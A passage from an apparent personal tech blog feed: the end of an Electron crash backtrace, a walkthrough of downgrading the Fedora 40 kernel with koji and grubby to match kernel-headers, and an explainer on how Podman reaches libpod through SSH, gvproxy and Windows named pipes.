    frame #22: 0x00000001119d1108 Electron Framework`mojo::InterfaceEndpointClient::HandleValidatedMessage(this=<unavailable>, message=<unavailable>) at interface_endpoint_client.cc:1021:54 [opt]
    frame #23: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00082de8, message=0x000000016b051150) at message_dispatcher.cc:43:19 [opt]
    frame #24: 0x00000001119d2d40 Electron Framework`mojo::InterfaceEndpointClient::HandleIncomingMessage(this=0x0000013c00082d00, message=0x000000016b051150) at interface_endpoint_client.cc:706:20 [opt]
    frame #25: 0x00000001119de6cc Electron Framework`mojo::internal::MultiplexRouter::Accept(mojo::Message*) at multiplex_router.cc:1096:42 [opt]
    frame #26: 0x00000001119de6b4 Electron Framework`mojo::internal::MultiplexRouter::Accept(this=0x0000013c00092800, message=<unavailable>) at multiplex_router.cc:710:7 [opt]
    frame #27: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00092830, message=0x000000016b051300) at message_dispatcher.cc:43:19 [opt]
    frame #28: 0x00000001119ce6a8 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::DispatchMessage(this=0x0000013c00092860, handle=mojo::ScopedMessageHandle @ 0x000000016b0512c0) at connector.cc:554:49 [opt]
    frame #29: 0x00000001119ce5bc Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) at connector.cc:611:14 [opt]
    frame #30: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnHandleReadyInternal(this=0x0000013c00092860, result=<unavailable>) at connector.cc:444:3 [opt]
    frame #31: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnWatcherHandleReady(this=0x0000013c00092860, interface_name="", result=<unavailable>) at connector.cc:410:3 [opt]
    frame #32: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::DecayedFunctorTraits<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const* const&>::Invoke<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const*, unsigned int>(method=<unavailable>, receiver_ptr=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:738:12 [opt]
    frame #33: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, void, 0ul, 1ul>::MakeItSo<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, unsigned int>(functor=<unavailable>, bound=<unavailable>, args=<unavailable>) at bind_internal.h:930:12 [opt]
    frame #34: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::RunImpl<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, 0ul, 1ul>(functor=<unavailable>, bound=<unavailable>, (null)=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #35: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:987:12 [opt]
    frame #36: 0x000000010e404a4c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] base::RepeatingCallback<void (unsigned int)>::Run(this=<unavailable>, args=<unavailable>) const & at callback.h:344:12 [opt]
    frame #37: 0x000000010e404a18 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] mojo::SimpleWatcher::DiscardReadyState(callback=<unavailable>, result=<unavailable>, state=<unavailable>) at simple_watcher.h:192:14 [opt]
    frame #38: 0x000000010e404a18 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::DecayedFunctorTraits<void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>::Invoke<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&>(function=<unavailable>, args=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:671:12 [opt]
    frame #39: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, void, 0ul>::MakeItSo<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, unsigned int, mojo::HandleSignalsState const&>(functor=<unavailable>, bound=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:930:12 [opt]
    frame #40: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::RunImpl<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, 0ul>(functor=<unavailable>, bound=<unavailable>, (null)=<unavailable>, unbound_args=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #41: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base=<unavailable>, unbound_args=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:987:12 [opt]
    frame #42: 0x00000001119f2388 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(this=0x000000016b051468, args=0, args=<unavailable>) const & at callback.h:344:12 [opt]
    frame #43: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) at simple_watcher.cc:278:14 [opt]
    frame #44: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::DecayedFunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>::Invoke<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher> const&, int, unsigned int, mojo::HandleSignalsState>(method=(Electron Framework`mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) at simple_watcher.cc:247), receiver_ptr=<unavailable>, args=0x0000013c00160280, args=0x0000013c00160284, args=<unavailable>) at bind_internal.h:738:12 [opt]
    frame #45: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::InvokeHelper<true, base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, void, 0ul, 1ul, 2ul, 3ul>::MakeItSo<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>>(functor=0x0000013c00160260, bound=<unavailable>) at bind_internal.h:954:5 [opt]
    frame #46: 0x00000001119f2298 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunImpl<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, 0ul, 1ul, 2ul, 3ul>(functor=0x0000013c00160260, bound=<unavailable>, (null)=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #47: 0x00000001119f2298 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base=0x0000013c00160240) at bind_internal.h:980:12 [opt]
    frame #48: 0x00000001116bea7c Electron Framework`base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [inlined] base::OnceCallback<void ()>::Run(this=0x0000013c00261078) && at callback.h:156:12 [opt]
    frame #49: 0x00000001116bea64 Electron Framework`base::TaskAnnotator::RunTaskImpl(this=<unavailable>, pending_task=0x0000013c00261000) at task_annotator.cc:203:34 [opt]
    frame #50: 0x00000001116d8f5c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [inlined] void base::TaskAnnotator::RunTask<base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_0>(this=<unavailable>, event_name=<unavailable>, pending_task=0x0000013c00261000, args=<unavailable>) at task_annotator.h:90:5 [opt]
    frame #51: 0x00000001116d8f3c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(this=0x0000013c00080000, continuation_lazy_now=0x000000016b0518c8) at thread_controller_with_message_pump_impl.cc:473:23 [opt]
    frame #52: 0x00000001116d956c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [inlined] base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(this=0x0000013c00080000) at thread_controller_with_message_pump_impl.cc:338:40 [opt]
    frame #53: 0x00000001116d952c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() at thread_controller_with_message_pump_impl.cc:0 [opt]
    frame #54: 0x000000011168056c Electron Framework`base::MessagePumpDefault::Run(this=0x0000013c00060440, delegate=0x0000013c000800e8) at message_pump_default.cc:40:55 [opt]
    frame #55: 0x00000001116d9bd4 Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(this=0x0000013c00080000, application_tasks_allowed=true, timeout=<unavailable>) at thread_controller_with_message_pump_impl.cc:641:12 [opt]
    frame #56: 0x00000001116a4f04 Electron Framework`base::RunLoop::Run(this=0x000000016b051b10, location=<unavailable>) at run_loop.cc:134:14 [opt]
    frame #57: 0x00000001110e24c4 Electron Framework`content::UtilityMain(parameters=<unavailable>) at utility_main.cc:439:12 [opt]
    frame #58: 0x000000010e6ef7e4 Electron Framework`content::RunOtherNamedProcessTypeMain(process_type=<unavailable>, main_function_params=MainFunctionParams @ 0x000000016b051dd0, delegate=0x000000016b0521f0) at content_main_runner_impl.cc:775:14 [opt]
    frame #59: 0x000000010e6f04e0 Electron Framework`content::ContentMainRunnerImpl::Run(this=0x00000128002e0280) at content_main_runner_impl.cc:1150:10 [opt]
    frame #60: 0x000000010e6eee84 Electron Framework`content::RunContentProcess(params=<unavailable>, content_main_runner=<unavailable>) at content_main.cc:331:36 [opt]
    frame #61: 0x000000010e6ef048 Electron Framework`content::ContentMain(params=ContentMainParams @ 0x000000016b052178) at content_main.cc:344:10 [opt]
    frame #62: 0x000000010e3c852c Electron Framework`ElectronMain(argc=<unavailable>, argv=<unavailable>) at electron_library_main.mm:26:10 [opt]
    frame #63: 0x0000000104daca50 OOMOL Studio Helper (Plugin)`main(argc=20, argv=0x000000016b0524f0) at electron_main_mac.cc:84:10 [opt]
    frame #64: 0x000000018021b154 dyld`start + 2476

Switch Kernel for Fedora(40)

bh@bugs.cc (Kevin Cui) — Sat, 11 May 2024 06:08:23 GMT

A few days ago, I upgraded from Fedora 39 to Fedora 40. However, after the upgrade, my VirtualBox could not start properly due to a mismatch between the kernel and kernel-header versions.

By using uname -r and dnf list --installed | grep "kernel-headers", I found out the versions are as follows:

kernel: 6.8.8-300.fc40.x86_64
kernel-headers: 6.8.3-300.fc40.x86_64

I tried to install the matching version of kernel-headers using sudo dnf install kernel-headers-$(uname -r), but found that there was no corresponding version available.¹

Consequently, I decided to downgrade the kernel version to match the available kernel-headers. After verifying its existence, I attempted to install kernel version 6.8.3-300.fc40 using sudo dnf install kernel-6.8.3-300.fc40.x86_64, but dnf indicated that this version was unavailable.

Ultimately, I found a solution on discussion.fedoraproject, where information from Fedora Updates System For F40 allowed verification of the required kernel version, which could then be installed using koji download-build --arch=x86_64 <package name>. The process is as follows:

mkdir kernel-downloads
cd kernel-downloads
koji download-build --arch=x86_64 kernel-6.8.3-300.fc40
sudo dnf install ./kernel-*

Upon completion, it was necessary to switch to the newly installed kernel version. This could be managed using sudo grubby --info=ALL to view the list of system kernels, noting the desired index and kernel. For example:

Next, a temporary switch to this kernel was made to ensure everything was working properly:²

sudo grub2-reboot "3"
reboot

If everything functioned as expected, this kernel could be set as the default:

sudo grubby --set-default /boot/vmlinuz-6.8.3-300.fc40.x86_64

A final check to confirm the default setting was successful:

sudo grubby --default-kernel

From this point on, our system will use the 6.8.3-300.fc40 version of the kernel by default until a dnf update is performed or another version is manually selected.

Reference:

This can also be confirmed on fedoraproject/rpms/kernel and fedoraproject/rpms/kernel-headers, where the latest version of kernel-headers for Fedora 40 is 6.8.3-300.fc40. ↩
The above command sets the system to boot from kernel at index 3 on the next reboot (effective for one time only). ↩

Podman basics and how it talks to containers

bh@bugs.cc (Kevin Cui) — Mon, 07 Aug 2023 10:21:14 GMT

Podman is a daemonless open-source container engine. Unlike Docker, Podman does not need a daemon; it manages containers through the libpod library. That avoids some of Docker’s security issues: Docker’s daemon needs root, while Podman can manage containers as a regular user.

Architecture sketch

podman has two parts: the podman client and the libpod library. Think of them as frontend and backend. Every container operation goes through libpod. What the podman client does is send the user’s command to libpod.

Note that libpod only has a Linux build, so it only runs on Linux. How it runs on Windows and MacOS is in the next section.

Machine

Podman has a machine command that starts a Linux VM to run containers. That also avoids needing root when you run containers in Podman.

Currently podman supports 4 VM types:

qemu
applehv
hyperv
wsl2

On Linux, machine is optional. On Windows and MacOS, machine is required.

On Windows, the default VM type is wsl2; hyperv is optional
On MacOS, the VM type is qemu; applehv is still in development (as of 2023.08)
On Linux, if you start a VM, the type is qemu

The VM that machine starts is Fedora Linux. machine also downloads the Fedora Linux image automatically, so the first podman machine init is slow (you can download it yourself and pass --image-path). If you run init without --image-path, podman always tries to fetch the latest Fedora image. The rules:

If there is a local cache and it matches the latest image, it does not download
The cache keeps only one version, and deletes it after two weeks.

Fedora Linux ships podman, so on Windows and MacOS the podman command you run actually connects to a socket file in the VM over gvp or ssh, and the socket file forwards the request to libpod. See:

podman remote in the figure is the podman command on the host. It is written that way because on Windows and MacOS, podman always runs in remote mode. (On Linux you can pass --remote to enter this mode.)

Communication

In the figure above, one block is GVP / SSH. That is how the host and the VM talk. Before GVP, you need to understand how SSH communication works. That helps with GVP.

SSH

When you podman machine init and podman machine start, podman starts an ssh service in the VM.

You can inspect the connection with podman system connection ls --format=json:¹

[
    {
        "Name": "podman-machine-default",
        "URI": "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock",
        "Identity": "/Users/black-hole/.ssh/podman-machine-default",
        "IsMachine": true,
        "Default": true
    },
    {
        "Name": "podman-machine-default-root",
        "URI": "ssh://root@127.0.0.1:65489/run/podman/podman.sock",
        "Identity": "/Users/black-hole/.ssh/podman-machine-default",
        "IsMachine": true,
        "Default": false
    }
]

The URI is ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock. We can use this socket file to reach libpod in the VM. When podman sends a request, it first opens an ssh connection, then sends the request over the ssh channel. A sketch:

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"net/url"

	"github.com/containers/common/pkg/ssh"
)

func main() {
	uri := "ssh://core@127.0.0.1:65489/run/user/502/podman/podman.sock"
	_url, _ := url.Parse(uri)
	conn, _ := ssh.Dial(&ssh.ConnectionDialOptions{
		Host:                        uri,
		Identity:                    "/Users/black-hole/.ssh/podman-machine-default",
		User:                        _url.User,
		Port:                        65489,
		InsecureIsMachineConnection: false,
	}, "golang")

	client := &http.Client{Transport: &http.Transport{DialContext: func(ctx context.Context, _, _ string) (net.Conn, error) {
		return ssh.DialNet(conn, "unix", _url)
	}}}

	resp, _ := client.Get("http://d/v4.6.0/libpod/_ping")
	fmt.Println(resp.StatusCode)
}

This is the Windows behavior. On MacOS the default is GVP.

On Windows, every CLI operation that touches containers or images goes through this.

GVP (gvisor-tap-vsock)

One reason for GVP is to stop having to ssh into the VM every time and to take over API forwarding.²

In short, it forwards traffic from a socket file on the host to a socket file in the VM.

podman first creates a socket file on the host, then starts qemu with -qmp to expose qemu’s socket file, then binds the host socket file to qemu’s socket file via GVP. Simplified:

gvproxy -listen-qemu unix:///var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock -forward-sock /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock -forward-dest /run/user/502/podman/podman.sock

qemu-system-x86_64 -qmp unix:/var/folders/zm/g19w916x2x36bt16htrwtsh80000gp/T/podman/qmp_podman-machine-default.sock,server=on,wait=off -virtfs local,path=/var/folders,mount_tag=vol2,security_model=none

On MacOS, podman also ships the podman-mac-helper executable in the pkg installer. When you podman machine start, podman checks for podman-mac-helper. If it exists, podman-mac-helper creates a symlink /var/run/docker.sock pointing at the host socket file.

API forwarding

Before we start, think about how you would call the podman API from your program.

MacOS

On MacOS you can run: export DOCKER_HOST='unix:///Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock' so later podman commands talk through the local socket file.

You can also call the API on that socket file:

curl --unix-socket /Users/black-hole/.local/share/containers/podman/machine/qemu/podman.sock http://d/v4.6.0/libpod/_ping

Windows

Windows has no socket file. API calls still matter, so the podman team ships win-sshproxy.exe to forward API requests.

win-sshproxy creates a duplex pipe with Windows Named Pipe, which you can treat as a socket file.³

Creating the Named Pipe is simple:

// Allow built-in admins and system/kernel components
const SddlDevObjSysAllAdmAll = "D:P(A;;GA;;;SY)(A;;GA;;;BA)"

func ListenNpipe(socketURI *url.URL) (net.Listener, error) {
	user, _ := user.Current()

	// Also allow current user
	sddl := fmt.Sprintf("%s(A;;GA;;;%s)", SddlDevObjSysAllAdmAll, user.Uid)
	config := winio.PipeConfig{
		SecurityDescriptor: sddl,
		MessageMode:        true,
		InputBufferSize:    65536,
		OutputBufferSize:   65536,
	}
	path := strings.Replace(socketURI.Path, "/", "\\", -1)
    return winio.ListenPipe(path, &config)
}

After the Named Pipe exists, win-sshproxy opens an ssh connection and binds it to the Named Pipe:

func main() {
    complete := new(sync.WaitGroup)
	complete.Add(2)
    go forward(ssh, namedPipe, complete)
	go forward(namedPipe, ssh, complete)

	go func() {
		complete.Wait()
		ssh.Close()
		namedPipe.Close()
	}()
}

func forward(src io.ReadCloser, dest CloseWriteStream, complete *sync.WaitGroup) {
	defer complete.Done()
	_, _ = io.Copy(dest, src)

	// make the io.Copy() on the other end exit
	_ = dest.CloseWrite()
}

From then on the host can forward API requests through the Named Pipe. JS example:

require('http').get({
    hostname: 'd',
    path: '/v4.6.0/libpod/_ping',
    socketPath: '//./pipe/docker_engine',
}, res => {
    console.log(`statusCode: ${res.statusCode}`)
    res.destroy();
}).end();

